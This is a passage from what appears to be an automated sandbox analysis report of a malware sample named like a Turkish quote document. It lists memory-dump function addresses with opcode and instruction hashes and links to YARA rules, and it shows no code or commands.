Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fdec64b36c5542b503722fdc9e712f18b183c2f7d3cc713e41679c3b02ca3be
Instruction ID: fc4319c669ffe8005cc8261abf89b9159bdfb03a40ac18e5d83a41abce4c99e4
Opcode Fuzzy Hash: 7fdec64b36c5542b503722fdc9e712f18b183c2f7d3cc713e41679c3b02ca3be
Instruction Fuzzy Hash: D8E0923890D2089FCB14DF94DC456ADBBB4EB45315F1491BE9C0417381C7359A56EB82

Function 0596D380 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b95a5e20efd0ef2cdb8d470904c2656c909f0e11f7200d505d587c89c85dcc
Instruction ID: f3d0d3ca2572e67091b4f38515f9af755cf8d233f1fb3e22c2fa83d3458d1166
Opcode Fuzzy Hash: 58b95a5e20efd0ef2cdb8d470904c2656c909f0e11f7200d505d587c89c85dcc
Instruction Fuzzy Hash: D4F0C974908208EFCB15DF94D8419ACBBB5EB88314F14C199EC5856351D6329A65EF41

Function 05933C28 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a0fa61b7dc6d2ce5b3085730feb6582d38285d4ec1c2f80ae052281d776f82
Instruction ID: 115af36816bd3a5da7732082468e2349a695f60b6f9cfc30b815c3b0565b7a56
Opcode Fuzzy Hash: 57a0fa61b7dc6d2ce5b3085730feb6582d38285d4ec1c2f80ae052281d776f82
Instruction Fuzzy Hash: B1E026303C4314CBD720A264890AF6632DDAB44600F284C24DA095F290D976EC01CB51

Function 05C853B8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction ID: af6f5bf75abab7a2e9d6920b134196a399c067ded3b5b2f457e574b4f04c13ab
Opcode Fuzzy Hash: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction Fuzzy Hash: 95E0ED74D04208EFCB44DFA9D9406ACFBF5FB48315F10D5A99C09A3351D6B29A51DF41

Function 05C8AB10 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction ID: 5034d95fc93f1ae0e4e579c1e025b2bd75e6e2679a5ab0caf500b11c18ff3d28
Opcode Fuzzy Hash: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction Fuzzy Hash: 6AE0ED74D04208EFCB44DFA9D840AACFBF5EB48314F14C5AA9C1893351D6729E51DF41

Function 05C89720 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction ID: 733c291f3d0c6c5b84b91f7f5a3db86df42467a80fb1622e836d8b22eb8c4f51
Opcode Fuzzy Hash: 5a25938b88a0e370d570edfe6d633ff1b94111f7079d57e670c1340b1ffd11b7
Instruction Fuzzy Hash: 32E0ED74D0820CEFCB44DFA9D8446ADFBF5EB48314F10C5A99C1893351D6329A51EF41

Function 05961D50 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc98d6d0115a33bef4d45ed8e1df7f46f5fdc81c09d6f8326ee542baaa06987
Instruction ID: 0c5a49d427a7caa8240b5fc17f3203ce00aa3975e7d6c69cb493a395568391d5
Opcode Fuzzy Hash: 7cc98d6d0115a33bef4d45ed8e1df7f46f5fdc81c09d6f8326ee542baaa06987
Instruction Fuzzy Hash: 03E01A74E08208EFCB94DFA8D9506ACFBF5FB88304F10C1A9981893351D7329A45EF81

Function 05961F82 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322d969286e4df9c666dd41daab7fa8cafd853c8bbc552cb0682667295fac533
Instruction ID: e0fc0e2d936a0ec52f9ec726bbe4d63ff6e8173236f489e528ad332d4e27502e
Opcode Fuzzy Hash: 322d969286e4df9c666dd41daab7fa8cafd853c8bbc552cb0682667295fac533
Instruction Fuzzy Hash: F2E01274D08108EFC744DF99D8416ACBBF5EB88301F14C1AE9C0497351C7369A45EF45

Function 059667A1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801cd74cc30f65f01b6763605c166f2eed6da701ae572265acc6c5b608f43fc0
Instruction ID: 7f3c034ebd0c4289caa3ef7997030d6ebae89f4f7529bf9c9fa715355e1b6645
Opcode Fuzzy Hash: 801cd74cc30f65f01b6763605c166f2eed6da701ae572265acc6c5b608f43fc0
Instruction Fuzzy Hash: 3BF01570945228CBE724EF64CC59BADBBBAFB45308F108598D40E67290CB301ECACF45

Function 059687F8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593ddd7821a9b774b7fec41b8b4bb8cb1cc08339240b9ea0a631637998052726
Instruction ID: bf7d9a04853a2f9b98155cbc6d592f17d294f2446d827c62ef2e45b8f5f13aeb
Opcode Fuzzy Hash: 593ddd7821a9b774b7fec41b8b4bb8cb1cc08339240b9ea0a631637998052726
Instruction Fuzzy Hash: 24E0E570D09208EFCB54EFA8D40469CBBF5AB48301F50C5A9A854A2351D6399A54EF41

Function 059636A0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f04c879126c2846c304825f704852f0e9e0c1a4fedd4409d1a32a7337f0cb156
Instruction ID: a9d74e7e5a28d44f13a160a2ba91719d36ade95b7d82b20538210c4fdf3a64b4
Opcode Fuzzy Hash: f04c879126c2846c304825f704852f0e9e0c1a4fedd4409d1a32a7337f0cb156
Instruction Fuzzy Hash: BBE01A30918108DBCB14DFA4D882AEDBFB1EF85311F1496A9D80967361CA324A46DF46

Function 0596F130 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f62181e95f2c85ef65ed6fcd495ad1015482f7fd655c10e42c1b3a2d29f0671
Instruction ID: 14ea34f1a1d15d43ea1a0ff8b75290fa4f4a06142bc796d3992c17cd6ec5d93b
Opcode Fuzzy Hash: 8f62181e95f2c85ef65ed6fcd495ad1015482f7fd655c10e42c1b3a2d29f0671
Instruction Fuzzy Hash: 3CE0C2B044E30C9BC755DAA4DD0239C77AEDB02304F1445A8890863381DA369984DB51

Function 05962290 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c79bab585b53b1976adfb7057c595398e1005c8fac9a4a3b55d3f16915d8261
Instruction ID: 0882f5d928a65b2955f3d32c6694ac3b3dd8bf2f3dd3ac8472b8c058ead5ada0
Opcode Fuzzy Hash: 8c79bab585b53b1976adfb7057c595398e1005c8fac9a4a3b55d3f16915d8261
Instruction Fuzzy Hash: A5E0DF78809108DBCB58DF94EC41BEEBBB9EB45306F1490A9CC0813352C7329E05EF82

Function 05C88D68 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363906abb4907630bc7144eafd8a5a45168570baa3f88c1c0adc98d470c0b909
Instruction ID: cb1e643cad46dbda91dba79baf71fdca4894e4adb0d7c7341d3b5d8a6643005c
Opcode Fuzzy Hash: 363906abb4907630bc7144eafd8a5a45168570baa3f88c1c0adc98d470c0b909
Instruction Fuzzy Hash: 0BE01274D04208EFC744EFA9D9406ACFBF5EB48304F54C9AADC0893341D6359A41DF41

Function 05C8C6E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363906abb4907630bc7144eafd8a5a45168570baa3f88c1c0adc98d470c0b909
Instruction ID: 279e8930d767243ff38b67c3c88c8188039c712418177b78d3886a6afe7c4cc2
Opcode Fuzzy Hash: 363906abb4907630bc7144eafd8a5a45168570baa3f88c1c0adc98d470c0b909
Instruction Fuzzy Hash: 33E0E574E18208EFCB84EFA9D8416ACBBF5EB88304F14C5A9D818A7341D6329E41DF41

Function 0585E9D0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70566e6c8b734a8186c9b6b95ff5120a2172d168195ba04575f8f619661eb4c
Instruction ID: ae3fd196a5e62530281ec7a11934def09581ae05d7161983cfc28524370ce1be
Opcode Fuzzy Hash: e70566e6c8b734a8186c9b6b95ff5120a2172d168195ba04575f8f619661eb4c
Instruction Fuzzy Hash: F0E0C274E08208AFCB84DFA9D8416ACBBF9AB88314F10C1AA9C1893341D6329A51DF41

Function 0585F870 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70566e6c8b734a8186c9b6b95ff5120a2172d168195ba04575f8f619661eb4c
Instruction ID: 1f530f721f0fb4657ba44a22453b57fe408d2c414ee30b5ee37e10a83fc68a9a
Opcode Fuzzy Hash: e70566e6c8b734a8186c9b6b95ff5120a2172d168195ba04575f8f619661eb4c
Instruction Fuzzy Hash: B8E0E5B4E08208EFCB84DFA8D9416ACBBF5EB88314F10C5A99C18D3341D6329E41DF41

Function 0585D378 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273b6f650ffb4d1b58156926b6ca682f633a3e5b0c8049dd7a9f790b121dc6de
Instruction ID: 190ab5c3fdd35aa306317523addf33e9c76b143baea52b548fc72d68972a7849
Opcode Fuzzy Hash: 273b6f650ffb4d1b58156926b6ca682f633a3e5b0c8049dd7a9f790b121dc6de
Instruction Fuzzy Hash: 54E0E5B4D0920CEFCB54DFA8D80069DBBF6AB48311F1081A99C08A2350E6359A51EF81

Function 05969D48 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92620f5f5611324f98c38b17dde071c562abeb5997bf64c7938e8d0962b9b35d
Instruction ID: 65a60ef258839baf736bf5993e2041ee9772e5cdc61ea1a817676790ca251856
Opcode Fuzzy Hash: 92620f5f5611324f98c38b17dde071c562abeb5997bf64c7938e8d0962b9b35d
Instruction Fuzzy Hash: 22E0D83080D244DFC745DB68D510268BFF1DF0B201F1481EAEC499B392D2328E45DB11

Function 059667D0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be24e4b1088d92feac5a91bf4259012f8878f880f302dda8d6883a775d58b9f2
Instruction ID: 0aa14172d33f364802d6007279f2362546c8bb311534ba2574ca23ce4de44321
Opcode Fuzzy Hash: be24e4b1088d92feac5a91bf4259012f8878f880f302dda8d6883a775d58b9f2
Instruction Fuzzy Hash: 02F0B2749011198FDB60DF28C99079DBBF6FB05304F9084D9E148A7240DB354A84AF00

Function 0596B752 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b64afe2b216c32cb8c605453507efdaa16a30fc1f5e5af8da1daaf808ae70e62
Instruction ID: 83ec24a3de230393844fb1792af84546312f3b157b86f4c4f281b9d5b2d020cb
Opcode Fuzzy Hash: b64afe2b216c32cb8c605453507efdaa16a30fc1f5e5af8da1daaf808ae70e62
Instruction Fuzzy Hash: 2AF0B274A011188FDB54DF14D990ED9B7B6AF86300F14849AC40EAB241DB31AE85CF51

Function 0596DE78 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64866247624d5467484336ca29495da7445534de101c4a321ad74d5eaa4cfb15
Instruction ID: b5cf50928a84cf723f113757d00d7d7967008bcbe4e1b26e2f07800ef3e6b655
Opcode Fuzzy Hash: 64866247624d5467484336ca29495da7445534de101c4a321ad74d5eaa4cfb15
Instruction Fuzzy Hash: E4E09A74D09208EFCB15CF98C8009ACFBF9EB88300F14C0AADC1857341C6329A51EF80

Function 0596708A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094ad0c76cdd7a2dad06e8f0a37207df1d7b1dd7b191f8ee514b558ea165c0d1
Instruction ID: ed9a73c2cf013757781141f076dfb944cc422bc73357c16c3b55b79fe2e92f7b
Opcode Fuzzy Hash: 094ad0c76cdd7a2dad06e8f0a37207df1d7b1dd7b191f8ee514b558ea165c0d1
Instruction Fuzzy Hash: 59E0863090D104DFC784DBE8C5513ACBFF6EB49215F2885AAC80D57391C6378A45DF51

Function 05C8F060 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df01a81d4702b53f1d8723a5f96e96681eb16fdcf4e284c8652b5f61e296cca
Instruction ID: dd3b80b1f09210a9bd84301c2ed1d291270b8739a9b509961a451d039bf24502
Opcode Fuzzy Hash: 5df01a81d4702b53f1d8723a5f96e96681eb16fdcf4e284c8652b5f61e296cca
Instruction Fuzzy Hash: 02E04F74909108AFC704DB94D8409BDBFB9AB46315F14D199984457351C6329A52EB91

Function 0585D568 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d77c624affb196723b5a29e26f267828065f90b35e784db9db959f564176782e
Instruction ID: aa0c9d0f96707a71f90f43fb87aa062758298d70d60a7d00820d744102bc3faf
Opcode Fuzzy Hash: d77c624affb196723b5a29e26f267828065f90b35e784db9db959f564176782e
Instruction Fuzzy Hash: 7FE01A74909208EFCB44DF94D844A9CBBB5BF49325F50D198EC0557361C6319E50EB41

Function 0585D098 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5224f868ad1dca54aaddfc21fd24f3d897c28fab1cdda9c0c09e802354d1c5
Instruction ID: 4ed416af231fb86bddc9008f7ae42f8aad412360c9b8313c357cee28081fde2d
Opcode Fuzzy Hash: fe5224f868ad1dca54aaddfc21fd24f3d897c28fab1cdda9c0c09e802354d1c5
Instruction Fuzzy Hash: F8E01A70D09208EFCB54DFA8D4046ACBBF6EB44310F5091A9CC0893340D6355A41DF81

Function 05854C50 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b00bdb4c0d404525ca048d03993d34d15bee0f257d499b765c7ae629f16c5d0d
Instruction ID: f3b63b9bf2a38c7bd905459d4583a01212858a045968646c5c849641967ecd80
Opcode Fuzzy Hash: b00bdb4c0d404525ca048d03993d34d15bee0f257d499b765c7ae629f16c5d0d
Instruction Fuzzy Hash: F2E0E574D08208AFCB04DF98D9409ACBBB5AB89314F14C1AA9C4493351C6329E91EF81

Function 05968890 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46fe8539ac467cb1d2fe308418a219b90e60b0fceafce2640bfdd7c081f8a3a
Instruction ID: 57c502b9d7efd3cf537e400db702d874b2910e165c94ae488589571b8c76a66a
Opcode Fuzzy Hash: a46fe8539ac467cb1d2fe308418a219b90e60b0fceafce2640bfdd7c081f8a3a
Instruction Fuzzy Hash: FFE0863080920CFFCB05DFA4D80099CBBB6BB45301F508169EC0422390C7364A54EB41

Function 05C87FF0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c066c2549bf7b5b4de2c006b9307d9a2defbfaa45a249defbc42f5964bbb84c8
Instruction ID: 9b53a4f04177e921572aa395f6d1593110b14289c26acd429380f23ef9861f89
Opcode Fuzzy Hash: c066c2549bf7b5b4de2c006b9307d9a2defbfaa45a249defbc42f5964bbb84c8
Instruction Fuzzy Hash: 1AE01A74D08108EFC704DBA9D5405ACBBF5AB88304F14C5A9DC1853341C6329A42DF41

Function 0585DD43 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c71f8fc0b1f8e2ee0aecf1eac09f63923f18de1b9cba950c8a4c7229ad0741
Instruction ID: 269d61a4486964f55a22cd44e8954fc5c5bc12b5efd41c349f609368baa36bb9
Opcode Fuzzy Hash: 74c71f8fc0b1f8e2ee0aecf1eac09f63923f18de1b9cba950c8a4c7229ad0741
Instruction Fuzzy Hash: B4F01C74D01118CFDB94EF28D895B99BBF2EB49304F1045A9A80DA7385CB305E84CF14

Function 0585D84D Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab09dc8781a09bd8eee6f9d261301705d6c641dc15ec3fc32c99dcea4077c0bc
Instruction ID: d87fcd7adfb478aa23cb34344052bdcc02969e52bdc6bbb127b18c859e39c5c1
Opcode Fuzzy Hash: ab09dc8781a09bd8eee6f9d261301705d6c641dc15ec3fc32c99dcea4077c0bc
Instruction Fuzzy Hash: 2DF0F270A001188FDB54EF58D9957DDBBB2EB89314F10489AAA4AB3341CB315E808F25

Function 05853FC0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec3af7a90685a5031900b22a5c8d2de62f0ed8bec9bd2b7c028617854c410196
Instruction ID: b914f2720ea61e6c2d95ecd74b3efd08f977124347b3f2ea3a914a53ca242f44
Opcode Fuzzy Hash: ec3af7a90685a5031900b22a5c8d2de62f0ed8bec9bd2b7c028617854c410196
Instruction Fuzzy Hash: C5E01274A19208EFC744EFA8D948A98BBF4AB08215F1044E8EC08D3361EA31DE40DB52

Function 0585E3F0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a48dabf8a1c3b2bf74ed49e7bf6a63906a99092c6f22778713d9c72c24be8ee
Instruction ID: 371b3305e5af81b0017e38da032f5999702a051042ec0d5a56ccf7dfddca725d
Opcode Fuzzy Hash: 8a48dabf8a1c3b2bf74ed49e7bf6a63906a99092c6f22778713d9c72c24be8ee
Instruction Fuzzy Hash: 0AE04670908208EFC784EFA8C8446ACBBF9AB48214F2080E9DC08D7341E6329F42DB41

Function 05852F70 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c532793a0cacd41a37907a66a49c4ff643d9586878ef88b6ec58021550afadb5
Instruction ID: bbc3ac6ffb5f9f880186ee23435dbb7fe8c33c0107c67c7d7371fc47ae73cf9d
Opcode Fuzzy Hash: c532793a0cacd41a37907a66a49c4ff643d9586878ef88b6ec58021550afadb5
Instruction Fuzzy Hash: EDE04678909208EFC754EFA8D948AACBFF4AF08315F5081A8EC09D3361EA319E40DB41

Function 05963FB0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c6821d68c523f0ef1d5e4f92cfa83d69cbc8ba1c7b8c09ae9defc716be3f27
Instruction ID: 75b0529967ee1a99fb5edfab2e60eaa6baf68e4d946d7d085286b05b23cdbf82
Opcode Fuzzy Hash: 19c6821d68c523f0ef1d5e4f92cfa83d69cbc8ba1c7b8c09ae9defc716be3f27
Instruction Fuzzy Hash: 0FE0C234948108DBCB04DFA4D8405ADBBF9EF85300F10D598DC0813341C732AE46DB81

Function 0596E7D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c6821d68c523f0ef1d5e4f92cfa83d69cbc8ba1c7b8c09ae9defc716be3f27
Instruction ID: 9c0ab575bd9235b6a34fbb6ec9451212a935908b96f1fc0cee8ea5688118480e
Opcode Fuzzy Hash: 19c6821d68c523f0ef1d5e4f92cfa83d69cbc8ba1c7b8c09ae9defc716be3f27
Instruction Fuzzy Hash: 4DE0C238908108DBC704DFA4D8405ADBBB9EB85300F54D198EC0813341C6329E46DF82

Function 05968FC0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

